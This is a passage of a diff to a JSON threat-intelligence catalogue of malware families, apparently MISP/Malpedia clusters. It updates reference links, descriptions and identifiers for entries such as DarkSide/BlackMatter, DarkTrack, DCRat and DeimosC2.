"https://securityscorecard.com/blog/new-evidence-supports-assessment-that-darkside-likely-responsible-for-colonial-pipeline-ransomware-attack-others-targeted", + "https://www.glimps.fr/lockbit3-0/", + "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", + "https://www.mandiant.com/resources/burrowing-your-way-into-vpns", "https://www.splunk.com/en_us/blog/security/darkside-ransomware-splunk-threat-update-and-detections.html", - "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://cybergeeks.tech/a-step-by-step-analysis-of-a-new-version-of-darkside-ransomware/", + "https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/", "https://medium.com/s2wlab/w1-jun-en-story-of-the-week-ransomware-on-the-darkweb-af491d33868b", - "https://chuongdong.com/reverse%20engineering/2021/05/06/DarksideRansomware/", - "https://labs.bitdefender.com/2021/01/darkside-ransomware-decryption-tool/", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/", - "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", - "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", - "https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service", - "https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group", - "https://socprime.com/blog/affiliates-vs-hunters-fighting-the-darkside/", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/are-virtual-machines-the-new-gold-for-cyber-criminals/", - "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/", - "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", - "https://github.com/sisoma2/malware_analysis/tree/master/blackmatter", - "https://www.bleepingcomputer.com/news/security/darkside-affiliates-claim-gangs-bitcoins-in-deposit-on-hacker-forum/", + "https://www.elliptic.co/blog/elliptic-follows-bitcoin-ransoms-paid-by-darkside-ransomware-victims", + "https://threatpost.com/guess-fashion-data-loss-ransomware/167754/", "https://www.databreaches.net/a-chat-with-darkside/", - "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", - "https://www.youtube.com/watch?v=qxPXxWMI2i4" + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", + "https://www.youtube.com/watch?v=qxPXxWMI2i4", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", + "https://github.com/sisoma2/malware_analysis/tree/master/blackmatter", + "https://www.reuters.com/technology/colonial-pipeline-halts-all-pipeline-operations-after-cybersecurity-attack-2021-05-08/", + "http://chuongdong.com/reverse%20engineering/2021/05/06/DarksideRansomware/", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/are-virtual-machines-the-new-gold-for-cyber-criminals/", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-servers-reportedly-seized-revil-restricts-targets/", + "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", + "https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware", + "https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/", + "https://securityscorecard.com/blog/new-evidence-supports-assessment-that-darkside-likely-responsible-for-colonial-pipeline-ransomware-attack-others-targeted", + "https://www.digitalshadows.com/blog-and-research/darkside-the-new-ransomware-group-behind-highly-targeted-attacks/", + "https://blueteamblog.com/darkside-ransomware-operations-preventions-and-detections", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-189a", + "https://krebsonsecurity.com/2021/05/a-closer-look-at-the-darkside-ransomware-gang/", + "https://therecord.media/popular-hacking-forum-bans-ransomware-ads/", + "https://www.recordedfuture.com/blackmatter-ransomware-successor-darkside-revil/", + "https://blog.group-ib.com/blackmatter2", + "https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service", + "https://www.youtube.com/watch?v=NIiEcOryLpI", + "https://therecord.media/an-interview-with-blackmatter-a-new-ransomware-group-thats-learning-from-the-mistakes-of-darkside-and-revil/", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-gang-returns-as-new-blackmatter-operation/", + "https://www.wsj.com/articles/colonial-pipeline-ceo-tells-why-he-paid-hackers-a-4-4-million-ransom-11621435636", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-ransomware-ttps", + "https://id-ransomware.blogspot.com/2021/07/blackmatter-ransomware.html", + "https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf" ], "synonyms": [ "BlackMatter" @@ -19800,16 +21051,16 @@ "value": "DarkTortilla" }, { - "description": "DtBackdoor", + "description": "According to PCrisk, DarkTrack is a malicious program classified as a Remote Access Trojan (RAT). This type of malware enables remote access and control over an infected device. The level of control these programs have varies, however, some can allow user-level manipulation of the affected machine.\r\n\r\nThe functionalities of RATs likewise varies and so does the scope of potential misuse. DarkTrack has a broad range of functions/capabilities, which make this Trojan a highly-dangerous piece of software.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.darktrack_rat", - "https://www.facebook.com/darktrackrat/", + "https://cracked.to/Thread-Release-RAT-Dark-track-alien-4-1", + "https://www.tgsoft.it/files/report/download.asp?id=7481257469", "https://nioguard.blogspot.de/2017/05/targeted-attack-against-ukrainian.html", "https://ti.qianxin.com/uploads/2020/09/17/69da886eecc7087e9dac2d3ea4c66ba8.pdf", - "https://cracked.to/Thread-Release-RAT-Dark-track-alien-4-1", - "http://news.softpedia.com/news/free-darktrack-rat-has-the-potential-of-being-the-best-rat-on-the-market-508179.shtml", - "https://www.tgsoft.it/files/report/download.asp?id=7481257469" + "https://www.facebook.com/darktrackrat/", + "http://news.softpedia.com/news/free-darktrack-rat-has-the-potential-of-being-the-best-rat-on-the-market-508179.shtml" ], "synonyms": [], "type": [] @@ -19822,9 +21073,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkvnc", + "https://isc.sans.edu/diary/IcedID+%28Bokbot%29+with+Dark+VNC+and+Cobalt+Strike/28884", "https://reaqta.com/2017/11/short-journey-darkvnc/", - "https://isc.sans.edu/diary/rss/28934", - "https://isc.sans.edu/diary/IcedID+%28Bokbot%29+with+Dark+VNC+and+Cobalt+Strike/28884" + "https://isc.sans.edu/diary/rss/28934" ], "synonyms": [], "type": [] @@ -19837,10 +21088,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.daserf", - "https://www.secureworks.com/research/threat-profiles/bronze-butler", - "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/", + "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", "https://researchcenter.paloaltonetworks.com/2017/07/unit42-tick-group-continues-attacks/", - "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + "https://www.secureworks.com/research/threat-profiles/bronze-butler", + "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/" ], "synonyms": [ "Muirim", @@ -19871,15 +21122,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.datper", - "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/", - "http://blog.jpcert.or.jp/2017/08/detecting-datper-malware-from-proxy-logs.html", - "https://www.macnica.net/file/mpressioncss_ta_report_2019_2_nopw.pdf", - "https://www.macnica.net/mpressioncss/feature_05.html/", - "https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf", "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-endtrade-finding-multi-stage-backdoors-that-tick/", "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", + "https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf", + "https://www.macnica.net/file/mpressioncss_ta_report_2019_2_nopw.pdf", + "https://www.macnica.net/mpressioncss/feature_05.html/", + "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", + "http://blog.jpcert.or.jp/2017/08/detecting-datper-malware-from-proxy-logs.html", "https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf", - "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/" ], "synonyms": [], "type": [] @@ -19892,14 +21143,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.daxin", - "https://www.reuters.com/technology/new-chinese-hacking-tool-found-spurring-us-warning-allies-2022-02-28/", - "https://www.nzz.ch/technologie/china-soll-mit-praezedenzloser-malware-regierungen-ausspioniert-haben-ld.1672292", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-malware-espionage-analysis", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage", - "https://twitter.com/M_haggis/status/1498399791276912640", - "https://gist.github.com/usualsuspect/839fbc54e0d76bb2626329cd94274cd6", "https://www.bleepingcomputer.com/news/security/chinese-cyberspies-target-govts-with-their-most-advanced-backdoor/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage-analysis" + "https://www.nzz.ch/technologie/china-soll-mit-praezedenzloser-malware-regierungen-ausspioniert-haben-ld.1672292", + "https://twitter.com/M_haggis/status/1498399791276912640", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage-analysis", + "https://www.reuters.com/technology/new-chinese-hacking-tool-found-spurring-us-warning-allies-2022-02-28/", + "https://teamt5.org/tw/posts/backdoor-of-driver-analysis-Daxin/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-malware-espionage-analysis", + "https://gist.github.com/usualsuspect/839fbc54e0d76bb2626329cd94274cd6" ], "synonyms": [], "type": [] @@ -19912,11 +21164,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader", - "https://malcat.fr/blog/exploit-steganography-and-delphi-unpacking-dbatloader/", "https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html", - "https://zero2auto.com/2020/08/20/dbatloader-modiloader-first-stage/", + "https://www.zscaler.com/blogs/security-research/dbatloader-actively-distributing-malwares-targeting-european-businesses", + "https://www.netskope.com/blog/dbatloader-abusing-discord-to-deliver-warzone-rat", "https://news.sophos.com/en-us/2020/09/24/email-delivered-modi-rat-attack-pastes-powershell-commands", - "https://www.netskope.com/blog/dbatloader-abusing-discord-to-deliver-warzone-rat" + "https://zero2auto.com/2020/08/20/dbatloader-modiloader-first-stage/", + "https://malcat.fr/blog/exploit-steganography-and-delphi-unpacking-dbatloader/" ], "synonyms": [ "ModiLoader", @@ -19927,29 +21180,61 @@ "uuid": "17e0756b-6cc6-4c25-825c-5fd85c236218", "value": "DBatLoader" }, + { + "description": "This malware uses DropBox as C&C channel.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.dboxagent", + "https://www.malwarebytes.com/blog/threat-intelligence/2022/winnti-apt-group-docks-in-sri-lanka-for-new-campaign-final.pdf" + ], + "synonyms": [], + "type": [] + }, + "uuid": "407002c1-1781-4d1c-90bb-3d859f5c2943", + "value": "DBoxAgent" + }, + { + "description": "Ransomware written in .NET.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.dcdcrypt", + "https://labs.k7computing.com/index.php/dcdcrypt-ransomware-decryptor/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "6192f006-e1ba-47cb-b388-af82e4435a51", + "value": "DcDcrypt" + }, { "description": "DCRat is a typical RAT that has been around since at least June 2019.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://community.riskiq.com/article/50c77491", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", - "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf", - "https://www.youtube.com/watch?v=ElqmQDySy48", - "https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains", - "https://blogs.infoblox.com/cyber-threat-intelligence/cyber-campaign-briefs/malspam-campaign-delivers-dark-crystal-rat-dcrat/", - "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus", - "https://cert.gov.ua/article/160530", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", - "https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html", - "https://cert.gov.ua/article/405538", - "https://www.fireeye.com/blog/threat-research/2020/05/analyzing-dark-crystal-rat-backdoor.html", - "https://www.zscaler.com/blogs/security-research/freecryptoscam-new-cryptocurrency-scam-leads-installation-backdoors-and", + "https://embee-research.ghost.io/dcrat-manual-de-obfuscation/", "https://forensicitguy.github.io/snip3-crypter-dcrat-vbs/", - "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://cert.gov.ua/article/160530", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://community.riskiq.com/article/50c77491", + "https://www.youtube.com/watch?v=ElqmQDySy48", + "https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html", + "https://www.zscaler.com/blogs/security-research/snip3-crypter-reveals-new-ttps-over-time", + "https://www.zscaler.com/blogs/security-research/freecryptoscam-new-cryptocurrency-scam-leads-installation-backdoors-and", + "https://www.fireeye.com/blog/threat-research/2020/05/analyzing-dark-crystal-rat-backdoor.html", + "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus", "https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html", - "https://tccontre.blogspot.com/2019/10/dcrat-malware-evades-sandbox-that-use.html" + "https://kienmanowar.wordpress.com/2023/04/08/quicknote-uncovering-suspected-malware-distributed-by-individuals-from-vietnam/", + "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf", + "https://blogs.infoblox.com/cyber-threat-intelligence/cyber-campaign-briefs/malspam-campaign-delivers-dark-crystal-rat-dcrat/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://tccontre.blogspot.com/2019/10/dcrat-malware-evades-sandbox-that-use.html", + "https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0919.pdf", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://cert.gov.ua/article/405538", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf" ], "synonyms": [ "DarkCrystal RAT" @@ -19992,24 +21277,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ddkong", - "https://unit42.paloaltonetworks.com/rancor-cyber-espionage-group-uses-new-custom-malware-to-attack-southeast-asia/", - "https://www.secureworks.com/research/threat-profiles/bronze-overbrook", "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/", + "https://www.secureworks.com/research/threat-profiles/bronze-overbrook", + "https://unit42.paloaltonetworks.com/rancor-cyber-espionage-group-uses-new-custom-malware-to-attack-southeast-asia/", "https://unit42.paloaltonetworks.com/atoms/rancortaurus/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "57dd0828-79d7-11e8-a7d8-57db14e1ef24", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "cae8384d-b01b-4f9c-a31b-f693e12ea6b2", "value": "DDKONG" }, @@ -20018,7 +21294,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.deadwood", - "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/" + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", + "https://www.welivesecurity.com/2022/12/07/fantasy-new-agrius-wiper-supply-chain-attack/", + "https://www.sentinelone.com/wp-content/uploads/2021/05/SentinelLabs_From-Wiper-to-Ransomware-The-Evolution-of-Agrius.pdf", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/" ], "synonyms": [ "Agrius", @@ -20036,6 +21315,7 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dealply", "https://securelist.com/threat-in-your-browser-extensions/107181", + "https://www.catonetworks.com/blog/the-dga-algorithm-used-by-dealply-and-bujo/", "https://kienmanowar.wordpress.com/2021/05/11/quick-analysis-note-about-dealply-adware/" ], "synonyms": [], @@ -20050,14 +21330,14 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dearcry", "https://www.youtube.com/watch?v=Hhx9Q2i7zGo", - "https://www.youtube.com/watch?v=6lSfxsrs61s&t=5s", - "https://www.youtube.com/watch?v=qmCjtigVVR0", - "https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities", - "https://www.youtube.com/watch?v=MRTdGUy1lfw", "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-102b", - "https://lifars.com/wp-content/uploads/2021/04/DearCry_Ransomware.pdf", + "https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities", + "https://www.youtube.com/watch?v=6lSfxsrs61s&t=5s", "https://news.sophos.com/en-us/2021/03/15/dearcry-ransomware-attacks-exploit-exchange-server-vulnerabilities/", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/" + "https://www.youtube.com/watch?v=qmCjtigVVR0", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://www.youtube.com/watch?v=MRTdGUy1lfw", + "https://lifars.com/wp-content/uploads/2021/04/DearCry_Ransomware.pdf" ], "synonyms": [ "DoejoCrypt" @@ -20072,13 +21352,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.deathransom", - "https://asec.ahnlab.com/1269", - "https://github.com/albertzsigovits/malware-notes/blob/master/DeathRansom.md", - "https://dissectingmalwa.re/quick-and-painless-reversing-deathransom-wacatac.html", - "https://www.fortinet.com/blog/threat-research/death-ransom-new-strain-ransomware.html", "https://twitter.com/Amigo_A_/status/1196898012645220354", "https://id-ransomware.blogspot.com/2019/11/wacatac-ransomware.html", - "https://www.fortinet.com/blog/threat-research/death-ransom-attribution.html" + "https://dissectingmalwa.re/quick-and-painless-reversing-deathransom-wacatac.html", + "https://www.fortinet.com/blog/threat-research/death-ransom-attribution.html", + "https://github.com/albertzsigovits/malware-notes/blob/master/DeathRansom.md", + "https://www.fortinet.com/blog/threat-research/death-ransom-new-strain-ransomware.html", + "https://asec.ahnlab.com/1269" ], "synonyms": [ "deathransom", @@ -20107,8 +21387,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.decebal", - "https://www.wired.com/wp-content/uploads/2014/09/wp-pos-ram-scraper-malware.pdf", - "https://www.fireeye.com/blog/threat-research/2014/10/data-theft-in-aisle-9-a-fireeye-look-at-threats-to-retailers.html" + "https://www.fireeye.com/blog/threat-research/2014/10/data-theft-in-aisle-9-a-fireeye-look-at-threats-to-retailers.html", + "https://www.wired.com/wp-content/uploads/2014/09/wp-pos-ram-scraper-malware.pdf" ], "synonyms": [], "type": [] @@ -20116,6 +21396,20 @@ "uuid": "fba088fb-2659-48c3-921b-12c6791e6d58", "value": "Decebal" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.deepcreep", + "https://www.bleepingcomputer.com/news/security/hacking-group-polonium-uses-creepy-malware-against-israel/", + "https://www.welivesecurity.com/2022/10/11/polonium-targets-israel-creepy-malware/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "a29e21f9-b193-4369-8351-95860d56de03", + "value": "DeepCreep" + }, { "description": "", "meta": { @@ -20134,19 +21428,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.defray", - "https://threatvector.cylance.com/en_us/home/threat-spotlight-defray-ransomware-hits-healthcare-and-education.html", - "https://www.proofpoint.com/us/blog/threat-insight/new-defray-ransomware-targets-education-and-healthcare-verticals", - "https://www.trendmicro.com/en_us/research/20/k/weaponizing-open-source-software-for-targeted-attacks.html", - "https://www.secureworks.com/research/threat-profiles/gold-dupont", - "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/4", - "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/", - "https://www.proofpoint.com/us/threat-insight/post/defray-new-ransomware-targeting-education-and-healthcare-verticals", "https://www.youtube.com/watch?v=LUxOcpIRxmg", - "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/3", + "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/", "https://www.bleepingcomputer.com/news/security/government-software-provider-tyler-technologies-hit-by-ransomware/", + "https://www.proofpoint.com/us/blog/threat-insight/new-defray-ransomware-targets-education-and-healthcare-verticals", + "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/2/", + "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/4", "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", - "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/2/" + "https://www.secureworks.com/research/threat-profiles/gold-dupont", + "https://threatvector.cylance.com/en_us/home/threat-spotlight-defray-ransomware-hits-healthcare-and-education.html", + "https://www.trendmicro.com/en_us/research/20/k/weaponizing-open-source-software-for-targeted-attacks.html", + "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/3", + "https://www.proofpoint.com/us/threat-insight/post/defray-new-ransomware-targeting-education-and-healthcare-verticals", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf" ], "synonyms": [ "Glushkov" @@ -20161,6 +21455,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.deimos", + "https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f", "https://www.elastic.co/blog/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant" ], "synonyms": [], @@ -20169,6 +21464,19 @@ "uuid": "e369e45e-0e92-4811-822e-5e598285465e", "value": "Deimos" }, + { + "description": "Trend Micro describes DeimosC2 as an open-source C&C framework that was released in June 2020. It is a fully-functional framework that allows for multiple attackers to access, create payloads for, and interact with victim computers. As a post-exploitation C&C framework, DeimosC2 will generate the payloads that need to be manually executed on computer servers that have been compromised through other means such as social engineering, exploitation, or brute-force attacks. Once it is deployed, the threat actors will gain the same access to the systems as the user account that the payload was executed as, either as an administrator or a regular user. Note that DeimosC2 does not perform active or privilege escalation of any kind.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.deimos_c2", + "https://www.trendmicro.com/en_us/research/22/k/deimosc2-what-soc-analysts-and-incident-responders-need-to-know.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "1f1a894f-7a1b-4b98-9280-d33cf884a539", + "value": "DeimosC2" + }, { "description": "", "meta": { @@ -20203,15 +21511,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "c76874cd-0d73-4cbf-8d39-a066900dd4ce", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "17429ed4-6106-4a28-9a76-f19cd476d94b", "value": "Deprimon" }, @@ -20220,8 +21519,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.deputydog", - "https://www.fireeye.com/blog/threat-research/2013/09/operation-deputydog-zero-day-cve-2013-3893-attack-against-japanese-targets.html", "https://www.secureworks.com/research/threat-profiles/bronze-keystone", + "https://www.fireeye.com/blog/threat-research/2013/09/operation-deputydog-zero-day-cve-2013-3893-attack-against-japanese-targets.html", "https://web.archive.org/web/20130924130243/https://www.fireeye.com/blog/technical/cyber-exploits/2013/09/operation-deputydog-zero-day-cve-2013-3893-attack-against-japanese-targets.html" ], "synonyms": [], @@ -20261,23 +21560,23 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.derusbi", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", - "https://www.rsa.com/content/dam/en/white-paper/rsa-incident-response-emerging-threat-profile-shell-crew.pdf", - "https://unit42.paloaltonetworks.com/rancor-cyber-espionage-group-uses-new-custom-malware-to-attack-southeast-asia/", - "https://www.secureworks.com/research/threat-profiles/bronze-keystone", - "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-firestone", - "https://web.archive.org/web/20180310053107/https://www.rsaconference.com/writable/presentations/file_upload/hta-w02-dissecting-derusbi.pdf", - "https://attack.mitre.org/groups/G0001/", - "https://www.secureworks.com/research/threat-profiles/bronze-mohawk", - "https://cybergeeks.tech/analyzing-apt19-malware-using-a-step-by-step-method/", "https://attack.mitre.org/groups/G0096", - "https://web.archive.org/web/20151216071054/http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family", - "http://www.novetta.com/wp-content/uploads/2014/11/Derusbi.pdf", - "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/", - "https://www.trendmicro.com/en_us/research/21/g/biopass-rat-new-malware-sniffs-victims-via-live-streaming.html", "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", - "https://www.virusbulletin.com/uploads/pdf/conference_slides/2015/Pun-etal-VB2015.pdf" + "https://www.secureworks.com/research/threat-profiles/bronze-keystone", + "https://www.secureworks.com/research/threat-profiles/bronze-mohawk", + "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", + "http://www.novetta.com/wp-content/uploads/2014/11/Derusbi.pdf", + "https://attack.mitre.org/groups/G0001/", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", + "https://www.secureworks.com/research/threat-profiles/bronze-firestone", + "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/", + "https://cybergeeks.tech/analyzing-apt19-malware-using-a-step-by-step-method/", + "https://unit42.paloaltonetworks.com/rancor-cyber-espionage-group-uses-new-custom-malware-to-attack-southeast-asia/", + "https://www.rsa.com/content/dam/en/white-paper/rsa-incident-response-emerging-threat-profile-shell-crew.pdf", + "https://www.virusbulletin.com/uploads/pdf/conference_slides/2015/Pun-etal-VB2015.pdf", + "https://www.trendmicro.com/en_us/research/21/g/biopass-rat-new-malware-sniffs-victims-via-live-streaming.html", + "https://web.archive.org/web/20151216071054/http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family", + "https://web.archive.org/web/20180310053107/https://www.rsaconference.com/writable/presentations/file_upload/hta-w02-dissecting-derusbi.pdf" ], "synonyms": [ "PHOTO" @@ -20292,7 +21591,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.desertblade", - "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/" + "https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf", + "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/", + "https://www.youtube.com/watch?v=mrTdSdMMgnk" ], "synonyms": [], "type": [] @@ -20312,6 +21613,19 @@ "uuid": "44168d77-338d-46ad-a5f6-c17c2b6b0631", "value": "Devil's Rat" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.devopt", + "https://www.zscaler.com/blogs/security-research/introducing-devopt-multifunctional-backdoor-arsenal" + ], + "synonyms": [], + "type": [] + }, + "uuid": "7d7a870d-725f-4ea3-b344-9c1ad0500618", + "value": "DevOpt" + }, { 